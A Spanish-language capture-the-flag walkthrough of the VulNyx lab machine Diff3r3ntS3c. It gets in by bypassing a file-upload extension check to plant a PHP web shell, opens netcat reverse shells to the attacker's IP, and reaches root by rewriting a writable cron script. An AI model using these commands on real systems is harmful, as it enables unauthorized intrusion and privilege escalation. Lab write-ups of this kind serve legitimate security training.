VulNyx - Diff3r3ntS3c
- File Upload - (Bypass Extension Check)
- Abusing Cron Job - (Privesc/script.sh)
Escaneo de puertos
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.14
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
Escaneo de servicios
❯ nmap -sV -sC -p 80 -v 192.168.1.14
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.57 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Diff3r3ntS3c
HTTP TCP - 80
En Get In Touch veo una herramienta para subir archivos.
Introduzco datos e intento subir un archivo php.
Me devuelve el siguiente error.
Intercepto la petición con BurpSuite y la mando al intruder.
En la pestaña payloads añado diferentes extensiones para comprobar si existe alguna extensión válida que me permita subir, mas abajo en el apartado Payload encoding desmarco la casilla URL-encode these characters
.
Pulso de botón Start-attack.
Realizo fuerza bruta de directorios y encuentro la carpeta uploads.
❯ gobuster dir -u 192.168.1.13 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.13
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
==============================================================
Starting gobuster in directory enumeration mode
==============================================================
/images (Status: 301) [Size: 313] [--> http://192.168.1.13/images/]
/uploads (Status: 301) [Size: 314] [--> http://192.168.1.13/uploads/]
/assets (Status: 301) [Size: 313] [--> http://192.168.1.13/assets/]
Al visitar el directorio uploads veo lo siguiente.
En el directorio número 6 tengo estos dos archivos.
El archivo userinfo.txt
contiene el nombre y el número de teléfono.
El archivo cmd.phtml
se ha subido correctamente y puedo ejecutar comandos.
Lanzo la shell.
❯ curl "http://192.168.1.13/uploads/6/cmd.phtml?cmd=nc%20-c%20/bin/bash%20192.168.1.20%20443"
Obtengo la shell como usuario candidate.
Realizo el tratamiento para la TTY.
script /dev/null -c bash
ctrl +z
stty raw -echo;fg
reset
xterm
stty rows 50 cols 200
export TERM=xterm-256color SHELL=bash
source /etc/skel/.bashrc
Enumero el sistema por tareas cron y veo que el script makeBackup.sh
se lanza como usuario root.
candidate@Diff3r3ntS3c:/home/candidate$ cat /etc/crontab
Compruebo los permisos del archivo makeBackup.sh
y veo que tengo todos los permisos.
El contenido de makeBackup.sh
es el siguiente:
#!/bin/bash
# Source folder to be backed up
source_folder="/var/www/html/uploads/"
# Destination folder for the backup
backup_folder="/home/candidate/.backups/"
# Create backup folder if it doesn't exist
mkdir -p "$backup_folder"
# Backup file name
backup_file="${backup_folder}backup.tar.gz"
# Create a compressed tar archive of the source folder
tar -czf "$backup_file" -C "$source_folder" .
El script automatiza la tarea de crear una copia de seguridad comprimida de los archivos en el directorio especificado, pero en este caso no importa lo que hace el script, lo que si importa es que al tener permisos de escritura puedo modificarlo para obtener una shell de root. Edito el script y lo dejo de la siguiente forma:
#!/bin/bash
nc -c /bin/bash 192.168.1.20 444
Dejo un netcat a la escucha y en unos segundos obtengo el root.
Y aquí termina la máquina Diff3r3ntS3c.
Saludos!